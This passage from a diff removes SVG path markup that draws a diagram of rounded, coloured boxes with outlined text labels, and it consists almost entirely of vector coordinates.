365.648959,278.128575 C365.044793,277.545242 364.742709,276.618158 364.742709,275.347325 L364.742709,268.816075 L366.273959,268.816075 Z M380.849612,268.628575 C381.297529,268.628575 381.693362,268.665033 382.037112,268.73795 L381.833987,270.1442 C381.417321,270.05045 381.052737,270.003575 380.740237,270.003575 C379.938154,270.003575 379.245446,270.3317 378.662112,270.98795 C378.089196,271.6442 377.802737,272.461908 377.802737,273.441075 L377.802737,278.80045 L376.302737,278.80045 L376.302737,268.816075 L377.537112,268.816075 L377.724612,270.659825 L377.787112,270.659825 C378.162112,270.013992 378.610029,269.513992 379.130862,269.159825 C379.651696,268.805658 380.224612,268.628575 380.849612,268.628575 Z M392.527652,273.80045 C392.527652,275.42545 392.116194,276.696283 391.293277,277.61295 C390.480777,278.529617 389.350569,278.98795 387.902652,278.98795 C387.006819,278.98795 386.209944,278.779617 385.512027,278.36295 C384.824527,277.935867 384.293277,277.3317 383.918277,276.55045 C383.543277,275.7692 383.355777,274.852533 383.355777,273.80045 C383.355777,272.17545 383.762027,270.909825 384.574527,270.003575 C385.387027,269.086908 386.517236,268.628575 387.965152,268.628575 C389.360986,268.628575 390.470361,269.097325 391.293277,270.034825 C392.116194,270.961908 392.527652,272.217117 392.527652,273.80045 Z M384.918277,273.80045 C384.918277,275.071283 385.173486,276.045242 385.683902,276.722325 C386.194319,277.388992 386.944319,277.722325 387.933902,277.722325 C388.923486,277.722325 389.673486,277.388992 390.183902,276.722325 C390.704736,276.055658 390.965152,275.0817 390.965152,273.80045 C390.965152,272.529617 390.704736,271.566075 390.183902,270.909825 C389.673486,270.253575 388.918277,269.92545 387.918277,269.92545 C386.928694,269.92545 386.178694,270.248367 385.668277,270.8942 C385.168277,271.540033 384.918277,272.508783 384.918277,273.80045 Z M399.827335,278.98795 C399.181502,278.98795 398.587752,278.868158 398.046085,278.628575 C397.504419,278.388992 397.051294,278.0192 396.68671,277.5192 L396.577335,277.5192 C396.650252,278.102533 396.68671,278.654617 396.68671,279.17545 L396.68671,283.284825 L395.18671,283.284825 L395.18671,268.816075 L396.40546,268.816075 L396.62421,270.17545 L396.68671,270.17545 C397.082544,269.633783 397.535669,269.243158 398.046085,269.003575 C398.566919,268.753575 399.160669,268.628575 399.827335,268.628575 C401.150252,268.628575 402.171085,269.0817 402.889835,269.98795 C403.608585,270.8942 403.96796,272.165033 403.96796,273.80045 C403.96796,275.435867 403.603377,276.711908 402.87421,277.628575 C402.145044,278.534825 401.129419,278.98795 399.827335,278.98795 Z M399.608585,269.92545 C398.587752,269.92545 397.848169,270.2067 397.389835,270.7692 C396.941919,271.3317 396.707544,272.227533 396.68671,273.4567 L396.68671,273.80045 C396.68671,275.2067 396.921085,276.211908 397.389835,276.816075 C397.858585,277.420242 398.608585,277.722325 399.639835,277.722325 C400.504419,277.722325 401.181502,277.373367 401.671085,276.67545 C402.160669,275.977533 402.40546,275.013992 402.40546,273.784825 C402.40546,272.534825 402.160669,271.5817 401.671085,270.92545 C401.181502,270.258783 400.494002,269.92545 399.608585,269.92545 Z M410.837894,278.98795 C409.358728,278.98795 408.192061,278.540033 407.337894,277.6442 C406.483728,276.73795 406.056644,275.48795 406.056644,273.8942 C406.056644,272.279617 406.452478,270.998367 407.244144,270.05045 C408.035811,269.102533 409.098311,268.628575 410.431644,268.628575 C411.692061,268.628575 412.681644,269.040033 413.400394,269.86295 C414.129561,270.685867 414.494144,271.774408 414.494144,273.128575 L414.494144,274.0817 L407.619144,274.0817 C407.650394,275.258783 407.947269,276.149408 408.509769,276.753575 C409.072269,277.357742 409.863936,277.659825 410.884769,277.659825 C411.957686,277.659825 413.020186,277.435867 414.072269,276.98795 L414.072269,278.3317 C413.541019,278.560867 413.035811,278.727533 412.556644,278.8317 C412.077478,278.935867 411.504561,278.98795 410.837894,278.98795 Z M410.416019,269.8942 C409.613936,269.8942 408.973311,270.159825 408.494144,270.691075 C408.025394,271.211908 407.749353,271.930658 407.666019,272.847325 L412.884769,272.847325 C412.884769,271.899408 412.671228,271.170242 412.244144,270.659825 C411.817061,270.149408 411.207686,269.8942 410.416019,269.8942 Z" id="Shape" fill="#000000" fill-rule="nonzero"></path>
-                <path d="M272.00476,421.83142 L272.00476,421.83142 C272.00476,413.583221 278.691253,406.896728 286.939452,406.896728 L412.881102,406.896728 C416.842039,406.896728 420.640715,408.470184 423.441527,411.270996 C426.242308,414.071777 427.815795,417.870483 427.815795,421.831421 L427.815795,481.568329 C427.815795,489.816528 421.129302,496.503021 412.881103,496.503021 L286.939453,496.503021 C278.691254,496.503021 272.00476,489.816528 272.00476,481.568329 L272.00476,421.83142 Z" id="Path" fill-opacity="0" fill="#000000"></path>
-                <path d="M272.00476,421.83142 L272.00476,421.83142 C272.00476,413.583221 278.691253,406.896728 286.939452,406.896728 L412.881102,406.896728 C416.842039,406.896728 420.640715,408.470184 423.441527,411.270996 C426.242308,414.071777 427.815795,417.870483 427.815795,421.831421 L427.815795,481.568329 C427.815795,489.816528 421.129302,496.503021 412.881103,496.503021 L286.939453,496.503021 C278.691254,496.503021 272.00476,489.816528 272.00476,481.568329 L272.00476,421.83142 Z" id="Path" stroke="#00BFB3" stroke-width="2" stroke-linejoin="round"></path>
-                <path d="M342.2061,435.08157 L343.8936,435.284695 C343.622767,436.274278 343.127975,437.045112 342.409225,437.597195 C341.690475,438.138862 340.7686,438.409695 339.6436,438.409695 C338.226933,438.409695 337.101933,437.977403 336.2686,437.11282 C335.445683,436.23782 335.034225,435.013862 335.034225,433.440945 C335.034225,431.805528 335.450892,430.539903 336.284225,429.64407 C337.127975,428.748237 338.216517,428.30032 339.54985,428.30032 C340.841517,428.30032 341.8936,428.743028 342.7061,429.628445 C343.529017,430.503445 343.940475,431.73782 343.940475,433.33157 C343.940475,433.435737 343.940475,433.58157 343.940475,433.76907 L336.721725,433.76907 C336.784225,434.83157 337.086308,435.649278 337.627975,436.222195 C338.169642,436.784695 338.841517,437.065945 339.6436,437.065945 C340.247767,437.065945 340.763392,436.909695 341.190475,436.597195 C341.617558,436.274278 341.9561,435.76907 342.2061,435.08157 Z M336.815475,432.42532 L342.221725,432.42532 C342.148808,431.61282 341.940475,431.003445 341.596725,430.597195 C341.075892,429.961778 340.398808,429.64407 339.565475,429.64407 C338.815475,429.64407 338.180058,429.899278 337.659225,430.409695 C337.148808,430.909695 336.867558,431.58157 336.815475,432.42532 Z M352.284927,438.190945 L352.284927,436.76907 C351.534927,437.86282 350.514094,438.409695 349.222427,438.409695 C348.64951,438.409695 348.113052,438.30032 347.613052,438.08157 C347.123469,437.86282 346.758885,437.586778 346.519302,437.253445 C346.279719,436.920112 346.113052,436.513862 346.019302,436.034695 C345.946385,435.722195 345.909927,435.211778 345.909927,434.503445 L345.909927,428.51907 L347.550552,428.51907 L347.550552,433.878445 C347.550552,434.732612 347.58701,435.310737 347.659927,435.61282 C347.764094,436.039903 347.982844,436.378445 348.316177,436.628445 C348.64951,436.878445 349.060969,437.003445 349.550552,437.003445 C350.040135,437.003445 350.498469,436.878445 350.925552,436.628445 C351.363052,436.368028 351.670344,436.024278 351.847427,435.597195 C352.02451,435.159695 352.113052,434.529487 352.113052,433.70657 L352.113052,428.51907 L353.753677,428.51907 L353.753677,438.190945 L352.284927,438.190945 Z M364.488784,436.61282 L364.488784,438.190945 L355.660659,438.190945 C355.650242,437.795112 355.712742,437.414903 355.848159,437.05032 C356.077326,436.446153 356.436701,435.852403 356.926284,435.26907 C357.426284,434.685737 358.145034,434.013862 359.082534,433.253445 C360.530451,432.065945 361.509617,431.123237 362.020034,430.42532 C362.530451,429.727403 362.785659,429.071153 362.785659,428.45657 C362.785659,427.80032 362.551284,427.253445 362.082534,426.815945 C361.624201,426.368028 361.020034,426.14407 360.270034,426.14407 C359.478367,426.14407 358.842951,426.383653 358.363784,426.86282 C357.895034,427.33157 357.660659,427.982612 357.660659,428.815945 L355.973159,428.64407 C356.087742,427.383653 356.520034,426.42532 357.270034,425.76907 C358.030451,425.11282 359.040867,424.784695 360.301284,424.784695 C361.582534,424.784695 362.598159,425.138862 363.348159,425.847195 C364.098159,426.555528 364.473159,427.435737 364.473159,428.48782 C364.473159,429.01907 364.363784,429.545112 364.145034,430.065945 C363.926284,430.586778 363.561701,431.133653 363.051284,431.70657 C362.551284,432.26907 361.707534,433.05032 360.520034,434.05032 C359.540867,434.873237 358.910659,435.435737 358.629409,435.73782 C358.348159,436.029487 358.118992,436.321153 357.941909,436.61282 L364.488784,436.61282 Z" id="Shape" fill="#3EBEB0" fill-rule="nonzero"></path>
-                <path d="M272.00476,318.2032 L272.00476,318.2032 C272.00476,309.955001 278.691253,303.268508 286.939452,303.268508 L412.881102,303.268508 C416.842039,303.268508 420.640715,304.841994 423.441527,307.642776 C426.242308,310.443587 427.815795,314.242263 427.815795,318.203201 L427.815795,377.940141 C427.815795,386.18834 421.129302,392.874833 412.881103,392.874833 L286.939453,392.874833 C278.691254,392.874833 272.00476,386.18834 272.00476,377.940141 L272.00476,318.2032 Z" id="Path" fill-opacity="0" fill="#000000"></path>
-                <path d="M272.00476,318.2032 L272.00476,318.2032 C272.00476,309.955001 278.691253,303.268508 286.939452,303.268508 L412.881102,303.268508 C416.842039,303.268508 420.640715,304.841994 423.441527,307.642776 C426.242308,310.443587 427.815795,314.242263 427.815795,318.203201 L427.815795,377.940141 C427.815795,386.18834 421.129302,392.874833 412.881103,392.874833 L286.939453,392.874833 C278.691254,392.874833 272.00476,386.18834 272.00476,377.940141 L272.00476,318.2032 Z" id="Path" stroke="#00BFB3" stroke-width="2" stroke-linejoin="round"></path>
-                <path d="M342.2061,331.45334 L343.8936,331.656465 C343.622767,332.646048 343.127975,333.416882 342.409225,333.968965 C341.690475,334.510632 340.7686,334.781465 339.6436,334.781465 C338.226933,334.781465 337.101933,334.349173 336.2686,333.48459 C335.445683,332.60959 335.034225,331.385632 335.034225,329.812715 C335.034225,328.177298 335.450892,326.911673 336.284225,326.01584 C337.127975,325.120007 338.216517,324.67209 339.54985,324.67209 C340.841517,324.67209 341.8936,325.114798 342.7061,326.000215 C343.529017,326.875215 343.940475,328.10959 343.940475,329.70334 C343.940475,329.807507 343.940475,329.95334 343.940475,330.14084 L336.721725,330.14084 C336.784225,331.20334 337.086308,332.021048 337.627975,332.593965 C338.169642,333.156465 338.841517,333.437715 339.6436,333.437715 C340.247767,333.437715 340.763392,333.281465 341.190475,332.968965 C341.617558,332.646048 341.9561,332.14084 342.2061,331.45334 Z M336.815475,328.79709 L342.221725,328.79709 C342.148808,327.98459 341.940475,327.375215 341.596725,326.968965 C341.075892,326.333548 340.398808,326.01584 339.565475,326.01584 C338.815475,326.01584 338.180058,326.271048 337.659225,326.781465 C337.148808,327.281465 336.867558,327.95334 336.815475,328.79709 Z M352.284927,334.562715 L352.284927,333.14084 C351.534927,334.23459 350.514094,334.781465 349.222427,334.781465 C348.64951,334.781465 348.113052,334.67209 347.613052,334.45334 C347.123469,334.23459 346.758885,333.958548 346.519302,333.625215 C346.279719,333.291882 346.113052,332.885632 346.019302,332.406465 C345.946385,332.093965 345.909927,331.583548 345.909927,330.875215 L345.909927,324.89084 L347.550552,324.89084 L347.550552,330.250215 C347.550552,331.104382 347.58701,331.682507 347.659927,331.98459 C347.764094,332.411673 347.982844,332.750215 348.316177,333.000215 C348.64951,333.250215 349.060969,333.375215 349.550552,333.375215 C350.040135,333.375215 350.498469,333.250215 350.925552,333.000215 C351.363052,332.739798 351.670344,332.396048 351.847427,331.968965 C352.02451,331.531465 352.113052,330.901257 352.113052,330.07834 L352.113052,324.89084 L353.753677,324.89084 L353.753677,334.562715 L352.284927,334.562715 Z M362.051284,334.562715 L360.410659,334.562715 L360.410659,324.10959 C360.014826,324.48459 359.493992,324.864798 358.848159,325.250215 C358.212742,325.625215 357.639826,325.906465 357.129409,326.093965 L357.129409,324.500215 C358.046076,324.073132 358.848159,323.552298 359.535659,322.937715 C360.223159,322.323132 360.707534,321.729382 360.988784,321.156465 L362.051284,321.156465 L362.051284,334.562715 Z" id="Shape" fill="#3EBEB0" fill-rule="nonzero"></path>
-                <path d="M354.16272,353.5403 L354.16272,353.5403 C354.16272,349.733659 357.248627,346.647783 361.055268,346.647783 L410.766268,346.647783 C412.59427,346.647783 414.347414,347.373949 415.640017,348.666551 C416.932619,349.959154 417.658785,351.712297 417.658785,353.5403 L417.658785,381.109575 C417.658785,384.916216 414.572908,388.002123 410.766268,388.002123 L361.055268,388.002123 C357.248627,388.002123 354.16272,384.916216 354.16272,381.109575 L354.16272,353.5403 Z" id="Path" fill="#FEC514"></path>
-                <path d="M367.85217,366.87247 L367.85217,355.388095 L369.13342,355.388095 L369.13342,356.46622 C369.435503,356.039137 369.774045,355.721428 370.149045,355.513095 C370.534462,355.304762 370.998003,355.200595 371.53967,355.200595 C372.248003,355.200595 372.873003,355.382887 373.41467,355.74747 C373.956337,356.112053 374.362587,356.627678 374.63342,357.294345 C374.91467,357.950595 375.055295,358.674553 375.055295,359.46622 C375.055295,360.320387 374.899045,361.086012 374.586545,361.763095 C374.284462,362.440178 373.841753,362.961012 373.25842,363.325595 C372.685503,363.690178 372.076128,363.87247 371.430295,363.87247 C370.961545,363.87247 370.53967,363.773512 370.16467,363.575595 C369.800087,363.377678 369.498003,363.127678 369.25842,362.825595 L369.25842,366.87247 L367.85217,366.87247 Z M369.117795,359.575595 C369.117795,360.648512 369.331337,361.440178 369.75842,361.950595 C370.19592,362.461012 370.721962,362.71622 371.336545,362.71622 C371.961545,362.71622 372.498003,362.450595 372.94592,361.919345 C373.393837,361.388095 373.617795,360.570387 373.617795,359.46622 C373.617795,358.40372 373.399045,357.612053 372.961545,357.09122 C372.524045,356.55997 372.003212,356.294345 371.399045,356.294345 C370.805295,356.294345 370.274045,356.575595 369.805295,357.138095 C369.346962,357.700595 369.117795,358.513095 369.117795,359.575595 Z M376.219358,359.52872 C376.219358,357.99747 376.646441,356.862053 377.500608,356.12247 C378.219358,355.507887 379.089149,355.200595 380.109983,355.200595 C381.255816,355.200595 382.188108,355.575595 382.906858,356.325595 C383.636024,357.065178 384.000608,358.096428 384.000608,359.419345 C384.000608,360.481845 383.839149,361.320387 383.516233,361.93497 C383.193316,362.549553 382.724566,363.02872 382.109983,363.37247 C381.505816,363.705803 380.839149,363.87247 380.109983,363.87247 C378.953733,363.87247 378.016233,363.502678 377.297483,362.763095 C376.578733,362.013095 376.219358,360.93497 376.219358,359.52872 Z M377.672483,359.52872 C377.672483,360.59122 377.901649,361.388095 378.359983,361.919345 C378.828733,362.450595 379.412066,362.71622 380.109983,362.71622 C380.807899,362.71622 381.386024,362.450595 381.844358,361.919345 C382.313108,361.388095 382.547483,360.575595 382.547483,359.481845 C382.547483,358.461012 382.313108,357.68497 381.844358,357.15372 C381.386024,356.62247 380.807899,356.356845 380.109983,356.356845 C379.412066,356.356845 378.828733,356.62247 378.359983,357.15372 C377.901649,357.674553 377.672483,358.46622 377.672483,359.52872 Z M385.086545,361.200595 L386.47717,360.981845 C386.550087,361.544345 386.763628,361.976637 387.117795,362.27872 C387.482378,362.570387 387.982378,362.71622 388.617795,362.71622 C389.263628,362.71622 389.742795,362.586012 390.055295,362.325595 C390.367795,362.054762 390.524045,361.742262 390.524045,361.388095 C390.524045,361.075595 390.388628,360.825595 390.117795,360.638095 C389.919878,360.513095 389.440712,360.356845 388.680295,360.169345 C387.649045,359.908928 386.930295,359.68497 386.524045,359.49747 C386.128212,359.299553 385.826128,359.033928 385.617795,358.700595 C385.419878,358.367262 385.32092,357.99747 385.32092,357.59122 C385.32092,357.21622 385.404253,356.87247 385.57092,356.55997 C385.737587,356.24747 385.966753,355.987053 386.25842,355.77872 C386.47717,355.612053 386.774045,355.476637 387.149045,355.37247 C387.534462,355.257887 387.940712,355.200595 388.367795,355.200595 C389.024045,355.200595 389.596962,355.294345 390.086545,355.481845 C390.576128,355.669345 390.935503,355.924553 391.16467,356.24747 C391.404253,356.55997 391.57092,356.987053 391.66467,357.52872 L390.28967,357.71622 C390.22717,357.289137 390.044878,356.955803 389.742795,356.71622 C389.440712,356.476637 389.018837,356.356845 388.47717,356.356845 C387.831337,356.356845 387.367795,356.46622 387.086545,356.68497 C386.815712,356.893303 386.680295,357.138095 386.680295,357.419345 C386.680295,357.606845 386.737587,357.773512 386.85217,357.919345 C386.966753,358.065178 387.143837,358.190178 387.38342,358.294345 C387.529253,358.346428 387.94592,358.46622 388.63342,358.65372 C389.623003,358.914137 390.315712,359.132887 390.711545,359.30997 C391.107378,359.476637 391.41467,359.721428 391.63342,360.044345 C391.862587,360.367262 391.97717,360.768303 391.97717,361.24747 C391.97717,361.71622 391.836545,362.158928 391.555295,362.575595 C391.284462,362.981845 390.888628,363.299553 390.367795,363.52872 C389.857378,363.757887 389.279253,363.87247 388.63342,363.87247 C387.550087,363.87247 386.72717,363.648512 386.16467,363.200595 C385.60217,362.752678 385.242795,362.086012 385.086545,361.200595 Z M396.711545,362.419345 L396.91467,363.669345 C396.518837,363.752678 396.16467,363.794345 395.85217,363.794345 C395.341753,363.794345 394.94592,363.71622 394.66467,363.55997 C394.38342,363.393303 394.185503,363.179762 394.07092,362.919345 C393.956337,362.648512 393.899045,362.09122 393.899045,361.24747 L393.899045,356.481845 L392.867795,356.481845 L392.867795,355.388095 L393.899045,355.388095 L393.899045,353.325595 L395.305295,352.481845 L395.305295,355.388095 L396.711545,355.388095 L396.711545,356.481845 L395.305295,356.481845 L395.305295,361.325595 C395.305295,361.731845 395.326128,361.992262 395.367795,362.106845 C395.419878,362.221428 395.503212,362.315178 395.617795,362.388095 C395.732378,362.450595 395.893837,362.481845 396.10217,362.481845 C396.25842,362.481845 396.461545,362.461012 396.711545,362.419345 Z M397.531858,361.200595 L398.922483,360.981845 C398.995399,361.544345 399.208941,361.976637 399.563108,362.27872 C399.927691,362.570387 400.427691,362.71622 401.063108,362.71622 C401.708941,362.71622 402.188108,362.586012 402.500608,362.325595 C402.813108,362.054762 402.969358,361.742262 402.969358,361.388095 C402.969358,361.075595 402.833941,360.825595 402.563108,360.638095 C402.365191,360.513095 401.886024,360.356845 401.125608,360.169345 C400.094358,359.908928 399.375608,359.68497 398.969358,359.49747 C398.573524,359.299553 398.271441,359.033928 398.063108,358.700595 C397.865191,358.367262 397.766233,357.99747 397.766233,357.59122 C397.766233,357.21622 397.849566,356.87247 398.016233,356.55997 C398.182899,356.24747 398.412066,355.987053 398.703733,355.77872 C398.922483,355.612053 399.219358,355.476637 399.594358,355.37247 C399.979774,355.257887 400.386024,355.200595 400.813108,355.200595 C401.469358,355.200595 402.042274,355.294345 402.531858,355.481845 C403.021441,355.669345 403.380816,355.924553 403.609983,356.24747 C403.849566,356.55997 404.016233,356.987053 404.109983,357.52872 L402.734983,357.71622 C402.672483,357.289137 402.490191,356.955803 402.188108,356.71622 C401.886024,356.476637 401.464149,356.356845 400.922483,356.356845 C400.276649,356.356845 399.813108,356.46622 399.531858,356.68497 C399.261024,356.893303 399.125608,357.138095 399.125608,357.419345 C399.125608,357.606845 399.182899,357.773512 399.297483,357.919345 C399.412066,358.065178 399.589149,358.190178 399.828733,358.294345 C399.974566,358.346428 400.391233,358.46622 401.078733,358.65372 C402.068316,358.914137 402.761024,359.132887 403.156858,359.30997 C403.552691,359.476637 403.859983,359.721428 404.078733,360.044345 C404.307899,360.367262 404.422483,360.768303 404.422483,361.24747 C404.422483,361.71622 404.281858,362.158928 404.000608,362.575595 C403.729774,362.981845 403.333941,363.299553 402.813108,363.52872 C402.302691,363.757887 401.724566,363.87247 401.078733,363.87247 C399.995399,363.87247 399.172483,363.648512 398.609983,363.200595 C398.047483,362.752678 397.688108,362.086012 397.531858,361.200595 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
-                <path d="M382.09436,382.68497 L380.68811,382.68497 L380.68811,373.71622 C380.34436,374.039137 379.896443,374.362053 379.34436,374.68497 C378.802693,375.007887 378.31311,375.252678 377.87561,375.419345 L377.87561,374.05997 C378.65686,373.68497 379.339152,373.237053 379.922485,372.71622 C380.516235,372.18497 380.93811,371.674553 381.18811,371.18497 L382.09436,371.18497 L382.09436,382.68497 Z M386.258422,382.68497 L386.258422,371.231845 L390.586547,371.231845 C391.346964,371.231845 391.925089,371.268303 392.320922,371.34122 C392.883422,371.43497 393.352172,371.612053 393.727172,371.87247 C394.112589,372.132887 394.419881,372.502678 394.649047,372.981845 C394.888631,373.450595 395.008422,373.971428 395.008422,374.544345 C395.008422,375.513095 394.695922,376.336012 394.070922,377.013095 C393.456339,377.690178 392.336547,378.02872 390.711547,378.02872 L387.774047,378.02872 L387.774047,382.68497 L386.258422,382.68497 Z M387.774047,376.669345 L390.742797,376.669345 C391.721964,376.669345 392.414672,376.487053 392.820922,376.12247 C393.237589,375.757887 393.445922,375.24747 393.445922,374.59122 C393.445922,374.112053 393.320922,373.700595 393.070922,373.356845 C392.831339,373.013095 392.513631,372.789137 392.117797,372.68497 C391.867797,372.612053 391.399047,372.575595 390.711547,372.575595 L387.774047,372.575595 L387.774047,376.669345 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
-                <path d="M282.16272,353.5403 L282.16272,353.5403 C282.16272,349.733659 285.248627,346.647783 289.055268,346.647783 L338.766268,346.647783 C340.59427,346.647783 342.347414,347.373949 343.640017,348.666551 C344.932619,349.959154 345.658785,351.712297 345.658785,353.5403 L345.658785,381.109575 C345.658785,384.916216 342.572908,388.002123 338.766268,388.002123 L289.055268,388.002123 C285.248627,388.002123 282.16272,384.916216 282.16272,381.109575 L282.16272,353.5403 Z" id="Path" fill="#F04E98"></path>
-                <path d="M300.84827,363.68497 L300.84827,362.46622 C300.202437,363.40372 299.322228,363.87247 298.207645,363.87247 C297.718062,363.87247 297.259728,363.77872 296.832645,363.59122 C296.415978,363.40372 296.103478,363.169345 295.895145,362.888095 C295.686812,362.596428 295.540978,362.24747 295.457645,361.84122 C295.405562,361.55997 295.37952,361.12247 295.37952,360.52872 L295.37952,355.388095 L296.78577,355.388095 L296.78577,359.981845 C296.78577,360.721428 296.811812,361.21622 296.863895,361.46622 C296.957645,361.84122 297.145145,362.132887 297.426395,362.34122 C297.718062,362.549553 298.072228,362.65372 298.488895,362.65372 C298.915978,362.65372 299.311812,362.549553 299.676395,362.34122 C300.051395,362.12247 300.311812,361.825595 300.457645,361.450595 C300.613895,361.075595 300.69202,360.533928 300.69202,359.825595 L300.69202,355.388095 L302.09827,355.388095 L302.09827,363.68497 L300.84827,363.68497 Z M303.746708,361.200595 L305.137333,360.981845 C305.210249,361.544345 305.423791,361.976637 305.777958,362.27872 C306.142541,362.570387 306.642541,362.71622 307.277958,362.71622 C307.923791,362.71622 308.402958,362.586012 308.715458,362.325595 C309.027958,362.054762 309.184208,361.742262 309.184208,361.388095 C309.184208,361.075595 309.048791,360.825595 308.777958,360.638095 C308.580041,360.513095 308.100874,360.356845 307.340458,360.169345 C306.309208,359.908928 305.590458,359.68497 305.184208,359.49747 C304.788374,359.299553 304.486291,359.033928 304.277958,358.700595 C304.080041,358.367262 303.981083,357.99747 303.981083,357.59122 C303.981083,357.21622 304.064416,356.87247 304.231083,356.55997 C304.397749,356.24747 304.626916,355.987053 304.918583,355.77872 C305.137333,355.612053 305.434208,355.476637 305.809208,355.37247 C306.194624,355.257887 306.600874,355.200595 307.027958,355.200595 C307.684208,355.200595 308.257124,355.294345 308.746708,355.481845 C309.236291,355.669345 309.595666,355.924553 309.824833,356.24747 C310.064416,356.55997 310.231083,356.987053 310.324833,357.52872 L308.949833,357.71622 C308.887333,357.289137 308.705041,356.955803 308.402958,356.71622 C308.100874,356.476637 307.678999,356.356845 307.137333,356.356845 C306.491499,356.356845 306.027958,356.46622 305.746708,356.68497 C305.475874,356.893303 305.340458,357.138095 305.340458,357.419345 C305.340458,357.606845 305.397749,357.773512 305.512333,357.919345 C305.626916,358.065178 305.803999,358.190178 306.043583,358.294345 C306.189416,358.346428 306.606083,358.46622 307.293583,358.65372 C308.283166,358.914137 308.975874,359.132887 309.371708,359.30997 C309.767541,359.476637 310.074833,359.721428 310.293583,360.044345 C310.522749,360.367262 310.637333,360.768303 310.637333,361.24747 C310.637333,361.71622 310.496708,362.158928 310.215458,362.575595 C309.944624,362.981845 309.548791,363.299553 309.027958,363.52872 C308.517541,363.757887 307.939416,363.87247 307.293583,363.87247 C306.210249,363.87247 305.387333,363.648512 304.824833,363.200595 C304.262333,362.752678 303.902958,362.086012 303.746708,361.200595 Z M317.981083,361.013095 L319.434208,361.18497 C319.205041,362.039137 318.777958,362.700595 318.152958,363.169345 C317.538374,363.638095 316.751916,363.87247 315.793583,363.87247 C314.574833,363.87247 313.611291,363.49747 312.902958,362.74747 C312.194624,361.99747 311.840458,360.950595 311.840458,359.606845 C311.840458,358.211012 312.199833,357.127678 312.918583,356.356845 C313.637333,355.586012 314.569624,355.200595 315.715458,355.200595 C316.819624,355.200595 317.720666,355.580803 318.418583,356.34122 C319.126916,357.09122 319.481083,358.148512 319.481083,359.513095 C319.481083,359.596428 319.481083,359.721428 319.481083,359.888095 L313.293583,359.888095 C313.345666,360.804762 313.600874,361.507887 314.059208,361.99747 C314.527958,362.476637 315.106083,362.71622 315.793583,362.71622 C316.314416,362.71622 316.757124,362.580803 317.121708,362.30997 C317.486291,362.039137 317.772749,361.606845 317.981083,361.013095 Z M313.371708,358.731845 L317.996708,358.731845 C317.934208,358.033928 317.757124,357.513095 317.465458,357.169345 C317.017541,356.627678 316.439416,356.356845 315.731083,356.356845 C315.085249,356.356845 314.538374,356.575595 314.090458,357.013095 C313.652958,357.440178 313.413374,358.013095 313.371708,358.731845 Z M321.19202,363.68497 L321.19202,355.388095 L322.457645,355.388095 L322.457645,356.638095 C322.780562,356.054762 323.077437,355.669345 323.34827,355.481845 C323.619103,355.294345 323.921187,355.200595 324.25452,355.200595 C324.72327,355.200595 325.202437,355.351637 325.69202,355.65372 L325.207645,356.950595 C324.863895,356.752678 324.520145,356.65372 324.176395,356.65372 C323.874312,356.65372 323.59827,356.74747 323.34827,356.93497 C323.108687,357.112053 322.936812,357.367262 322.832645,357.700595 C322.676395,358.200595 322.59827,358.74747 322.59827,359.34122 L322.59827,363.68497 L321.19202,363.68497 Z M325.97327,361.200595 L327.363895,360.981845 C327.436812,361.544345 327.650353,361.976637 328.00452,362.27872 C328.369103,362.570387 328.869103,362.71622 329.50452,362.71622 C330.150353,362.71622 330.62952,362.586012 330.94202,362.325595 C331.25452,362.054762 331.41077,361.742262 331.41077,361.388095 C331.41077,361.075595 331.275353,360.825595 331.00452,360.638095 C330.806603,360.513095 330.327437,360.356845 329.56702,360.169345 C328.53577,359.908928 327.81702,359.68497 327.41077,359.49747 C327.014937,359.299553 326.712853,359.033928 326.50452,358.700595 C326.306603,358.367262 326.207645,357.99747 326.207645,357.59122 C326.207645,357.21622 326.290978,356.87247 326.457645,356.55997 C326.624312,356.24747 326.853478,355.987053 327.145145,355.77872 C327.363895,355.612053 327.66077,355.476637 328.03577,355.37247 C328.421187,355.257887 328.827437,355.200595 329.25452,355.200595 C329.91077,355.200595 330.483687,355.294345 330.97327,355.481845 C331.462853,355.669345 331.822228,355.924553 332.051395,356.24747 C332.290978,356.55997 332.457645,356.987053 332.551395,357.52872 L331.176395,357.71622 C331.113895,357.289137 330.931603,356.955803 330.62952,356.71622 C330.327437,356.476637 329.905562,356.356845 329.363895,356.356845 C328.718062,356.356845 328.25452,356.46622 327.97327,356.68497 C327.702437,356.893303 327.56702,357.138095 327.56702,357.419345 C327.56702,357.606845 327.624312,357.773512 327.738895,357.919345 C327.853478,358.065178 328.030562,358.190178 328.270145,358.294345 C328.415978,358.346428 328.832645,358.46622 329.520145,358.65372 C330.509728,358.914137 331.202437,359.132887 331.59827,359.30997 C331.994103,359.476637 332.301395,359.721428 332.520145,360.044345 C332.749312,360.367262 332.863895,360.768303 332.863895,361.24747 C332.863895,361.71622 332.72327,362.158928 332.44202,362.575595 C332.171187,362.981845 331.775353,363.299553 331.25452,363.52872 C330.744103,363.757887 330.165978,363.87247 329.520145,363.87247 C328.436812,363.87247 327.613895,363.648512 327.051395,363.200595 C326.488895,362.752678 326.12952,362.086012 325.97327,361.200595 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
-                <path d="M310.09436,382.68497 L308.68811,382.68497 L308.68811,373.71622 C308.34436,374.039137 307.896443,374.362053 307.34436,374.68497 C306.802693,375.007887 306.31311,375.252678 305.87561,375.419345 L305.87561,374.05997 C306.65686,373.68497 307.339152,373.237053 307.922485,372.71622 C308.516235,372.18497 308.93811,371.674553 309.18811,371.18497 L310.09436,371.18497 L310.09436,382.68497 Z M314.258422,382.68497 L314.258422,371.231845 L318.586547,371.231845 C319.346964,371.231845 319.925089,371.268303 320.320922,371.34122 C320.883422,371.43497 321.352172,371.612053 321.727172,371.87247 C322.112589,372.132887 322.419881,372.502678 322.649047,372.981845 C322.888631,373.450595 323.008422,373.971428 323.008422,374.544345 C323.008422,375.513095 322.695922,376.336012 322.070922,377.013095 C321.456339,377.690178 320.336547,378.02872 318.711547,378.02872 L315.774047,378.02872 L315.774047,382.68497 L314.258422,382.68497 Z M315.774047,376.669345 L318.742797,376.669345 C319.721964,376.669345 320.414672,376.487053 320.820922,376.12247 C321.237589,375.757887 321.445922,375.24747 321.445922,374.59122 C321.445922,374.112053 321.320922,373.700595 321.070922,373.356845 C320.831339,373.013095 320.513631,372.789137 320.117797,372.68497 C319.867797,372.612053 319.399047,372.575595 318.711547,372.575595 L315.774047,372.575595 L315.774047,376.669345 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
